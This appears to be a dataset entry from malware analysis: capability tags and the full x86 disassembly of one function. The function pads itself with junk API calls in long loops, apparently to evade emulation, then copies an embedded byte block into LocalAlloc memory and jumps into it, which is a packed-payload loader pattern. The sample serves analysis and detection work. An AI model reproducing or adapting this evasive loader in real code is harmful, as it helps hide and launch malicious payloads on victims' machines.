Function at 0x43c850
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x45091e
push eax
mov dword fs:[0], esp
sub esp, 0x8c0
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x43c894
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x43c8a5
inc esi
cmp esi, 0x67d12
jl 0x43c880
cmp dword [0x462e54], 0x93
jne 0x43cafe
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x8c8]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0x4036dc
mov dword [ebp - 0x24], 0xf
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x38], bl
call fcn.0043f5f0
add esp, 4
push eax
push 0x4036dc
lea ecx, [ebp - 0x3c]
call fcn.0043e2d0
push ebx
mov dword [ebp - 4], ebx
call fcn.0043f394
add esp, 4
push ebx
call fcn.0043f8b6
add esp, 4
push ebx
push ebx
call fcn.0043f8e5
push ebx
call fcn.0043f89f
add esp, 0xc
call fcn.0043c840
push ebx
push ebx
call fcn.0043fb8a
add esp, 8
lea edx, [ebp - 0xc8]
push edx
call fcn.0043d810
mov ecx, dword [ebp - 0xc8]
mov edx, dword [ecx + 4]
lea eax, [ebp - 0x74]
mov dword [ebp - 0x1c], eax
mov dword [ebp + edx - 0xc8], 0x43af90
test byte [ebp - 0x7c], 1
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xbc], 0x43af54
je 0x43c9e5
mov ecx, dword [ebp - 0xac]
mov eax, dword [ecx]
push eax
call fcn.0043fa68
add esp, 4
mov edx, dword [ebp - 0xac]
mov dword [edx], ebx
mov eax, dword [ebp - 0x9c]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], ebx
mov edx, dword [ebp - 0xa8]
mov dword [edx], ebx
mov eax, dword [ebp - 0x98]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x88]
mov dword [ecx], ebx
and dword [ebp - 0x7c], 0xfffffffe
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0xbc], 0x43af00
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x43ca83
mov edi, dword [eax]
cmp edi, ebx
je 0x43ca77
push ebx
lea ecx, [ebp - 0x20]
call fcn.0043ed99
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x43ca56
cmp eax, 0xffffffff
jae 0x43ca56
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [ebp - 0x20]
and esi, edi
call fcn.0043edc1
cmp esi, ebx
je 0x43ca77
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0043fa68
add esp, 4
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 1
call fcn.0043eff7
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xc8]
mov eax, dword [edx + 4]
mov dword [ebp + eax - 0xc8], 0x43af4c
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx + 4]
mov dword [ebp + edx - 0xc0], 0x43af44
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x74]
mov dword [ebp + ecx - 0xc8], 0x43af3c
push edx
mov dword [ebp - 0x74], 0x43aef0
call fcn.0043e99e
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x24], 0x10
jb 0x43cafe
mov eax, dword [ebp - 0x38]
push eax
call fcn.0043fa68
add esp, 4
mov eax, dword [0x462e54]
mov ecx, dword [0x457074]
add eax, 0x1134b
push eax
push 0
mov dword [0x463c90], ecx
mov dword [0x462e54], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4628e0], eax
call fcn.0043c780
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x43cb31
cmp dword [0x462e54], esi
jbe 0x43cbab
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov edx, dword [0x463c90]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4628e0]
mov byte [ecx + esi], al
cmp dword [0x462e54], 0x490
jne 0x43cba2
lea edx, [ebp - 0x18]
push edx
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x1c]
push eax
push 0
lea ecx, [ebp - 0x34]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x462e54]
jb 0x43cb50
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x462e54]
add edx, eax
cmp edx, 0x8d
jne 0x43cc08
push 0
lea eax, [ebp - 0x8c8]
push eax
push 0
push 0
push 0
push 0
call esi
push 0x4036ec
push 0x4036fc
call edi
push 0
lea ecx, [ebp - 0x18]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x43cbc2
call fcn.0043c640
xor edi, edi
xor esi, esi
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x43cc3e
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x11a6
mov edx, dword [ebp - 0x10]
add dword [0x4628e0], edx
inc esi
cmp esi, 0x674bd
jl 0x43cc20
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x462e54], 0x86
jne 0x43cc9a
push 0
call esi
push 0
lea eax, [ebp - 0x8c8]
push eax
push 0x403710
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x462e54], 0xf
jne 0x43ccad
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub dword [ebp - 0x10], 1
jne 0x43cc60
call fcn.0043c300
call dword [0x4628e0]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret